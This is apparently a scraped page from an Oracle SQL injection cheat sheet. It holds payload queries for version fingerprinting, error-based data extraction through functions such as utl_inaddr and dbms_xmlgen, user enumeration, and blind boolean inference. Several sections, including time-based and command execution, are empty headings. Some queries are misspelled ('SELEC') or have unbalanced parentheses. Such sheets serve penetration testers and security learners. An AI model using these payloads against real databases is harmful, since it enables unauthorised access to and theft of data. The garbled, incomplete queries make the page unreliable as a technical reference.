Oracle SQL Injection

Summary

  • Oracle SQL version

  • Oracle SQL database name

  • Oracle SQL List databases

  • Oracle SQL List columns

  • Oracle SQL List tables

  • Oracle SQL Error Based

  • Oracle SQL Blind

  • Oracle SQL Time Based

  • Oracle SQL Command execution

  • References

Oracle SQL version

SELECT user FROM dual UNION SELECT * FROM v$version

Oracle SQL database name

Oracle SQL List Databases

Oracle SQL List Columns

Oracle SQL List Tables

Oracle SQL Error based

Description
Query

Invalid HTTP Request

SELECT utl_inaddr.get_host_name((select banner from v$version where rownum=1)) FROM dual

CTXSYS.DRITHSX.SN

SELECT CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1)) FROM dual

Invalid XPath

SELECT ordsys.ord_dicom.getmappingxpath((select banner from v$version where rownum=1),user,user) FROM dual

Invalid XML

SELECT to_char(dbms_xmlgen.getxml('select "'||(select user from sys.dual)||'" FROM sys.dual')) FROM dual

Invalid XML

SELECT rtrim(extract(xmlagg(xmlelement("s", username || ',')),'/s').getstringval(),',') FROM all_users

SQL Error

SELECT NVL(CAST(LENGTH(USERNAME) AS VARCHAR(4000)),CHR(32)) FROM (SELECT USERNAME,ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=1))

Oracle SQL Blind

Description
Query

Version is 12.2

SELECT COUNT(*) FROM v$version WHERE banner LIKE 'Oracle%12.2%';

Subselect is enabled

SELECT 1 FROM dual WHERE 1=(SELECT 1 FROM dual)

Table log_table exists

SELECT 1 FROM dual WHERE 1=(SELECT 1 from log_table);

Column message exists in table log_table

SELEC COUNT(*) FROM user_tab_cols WHERE column_name = 'MESSAGE' AND table_name = 'LOG_TABLE';

First letter of first message is t

SELEC message FROM log_table WHERE rownum=1 AND message LIKE 't%';

Oracle SQL Time based

Oracle SQL Command execution

or (hex encoded)

References

Last updated